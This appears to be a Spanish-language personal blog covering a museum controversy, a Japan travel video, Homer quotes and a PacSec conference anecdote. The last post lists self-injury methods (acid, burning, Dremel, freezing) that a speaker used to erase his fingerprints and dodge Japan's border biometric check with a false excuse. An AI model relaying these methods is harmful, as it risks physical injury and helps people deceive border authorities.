Cuando el fuselaje del mismo fue expuesto en un museo de similar caracteristicas, surgieron muchas controversias, pero al contrario de las que se le hubieran suscitado a cualquier hombre de templanza, mas bien relacionadas con un conflicto interior etico, las protestas estuvieron dirigidas a que la muestra enfatizaba los resultados nefastos de la bomba atomica en lugar de las motivaciones y el rol que cumplió la bomba para terminar la segunda guerra mundial.

Museo Aeroespacial Steven F. Udvar-Hazy


Museo de la Paz (Hiroshima, JAPON)

lunes, 23 de junio de 2008

¿Qué hacemos Juan Carlos?

Liniers - La Nacion, 18 de Junio

martes, 3 de junio de 2008

Encargue su DVD ya!

Mientras escribo estas palabras, el iDVD de la minimac está abriendo todas sus bastas y pequeñas puertas lógicas para renderear la version cinematográfica de las bitacoras de Japon.
Aproxidamante son 45 misteriosos, excitantes, atrapantes y desafiantes minutos del video que casi de soslayo grabamos en aquellas entrañables tierras remotas.

Los capitulos estan divididos en Shibuya (Tokyo), Cruce de Shibuya, Akihabara, Takayama y Ryokan Asunaro. Los lectores mas lúcidos de las crónicas escritas notaran la falta de muchos otros lugares, pero el ojo electrónico de la mini-dv solo se encendió en contadas oportunidades.
Pero a no alarmarse, que las aventuras siguen ahí, tan vigente como en las páginas de este blog.

A disfrutar!

lunes, 18 de febrero de 2008

Un momento de lucidez

Los que pueden... se corren del monitor, enderazan la comisura de los labios y la mirada, como aquellos senderos bifurcados de Borges, lentamente se les pierde en la finitud del paisaje urbano. La reflexion es inminente...

Sabian que ya hay generaciones mayores de 18, nacidas durante la presidencia de Carlos S. Menem?

sábado, 12 de enero de 2008

Antidepresivos en la Epica

"Entonces, Helena, nacida de Zeus, pensó otra cosa: al pronto echó en el vino del que bebían una droga para disipar el dolor y aplacadora de la cólera que hacía echar a olvido todos los males. Quien la tomara después de mezclada en la crátera, no derramaría lágrimas por las mejillas durante un día, ni aunque hubieran muerto su padre y su madre o mataran ante sus ojos con el bronce a su hermano o a su hijo. Tales drogas ingeniosas tenía la hija de Zeus, y excelentes, las que le había dado Polidamna, esposa de Ton, la egipcia, cuya fértil tierra produce muchísimas drogas, y despues de mezclarlas muchas son buenas y muchas perniciosas; y allí cada uno es médico que sobresale sobre todos los hombres, pues es vástago de Peón. Así pues, luego que echó la droga ordenó que se escanciara vino de nuevo; [...]"

Odisea, Homero. Canto IV. Párrafo 219.

viernes, 11 de enero de 2008

De Homero, sobre el vino

"Te trastorna el vino, dulce como la miel, el que daña a quien lo arrebata con avidez y no lo bebe comedidamente"

domingo, 6 de enero de 2008

Borrarse las Huellas Dactilares

Dentro de las ponencias de PacSec, se destacan los lighting talk, que son charlas de 10 a 15 minutos mostrando algo muy puntual.
Una de las charlas que llamo mas la atencion, fue la del Canadiense "mock" un habitue del staff de organizadores, en la cual utilizaba distintas tecnicas masoquistas para borrar sus huellas.
Entre ellas uso:
  • Cyanoacrylate: Tambien conocida como "la gotita"
  • Piedra para callos (y mucha paciencia)
  • Usando un dremel
  • Acido
  • Quemandose: Utilizo una plancha para bifes
  • Congelando con propano comprimido
Todo este dolor, fue en el contexto de una nueva modificacion en los controles aduaneros de Japon, en la cual todos los extranjeros tienen que dejar sus huellas digitales y una foto para ingresar al pais.
El logro su cometido, al entrar simplemente llenando un formulario (Luego de varios intentos fallidos de digitalizar las quemaduras). La excusa utilizada fue supuesto accidente que le ocurrio esquiando cuando sus dedos se le quedaron pegado a un hierro congelado.
Segun lo que me conto, no fue ni el primero ni el ultimo en entrar al Japon sin digitalizacion, ya que aparentemente a los ancianos se les suele perder el dibujo de las huellas con el tiempo.

Para los morbosos, aqui pueden encontrar un pdf con las slides.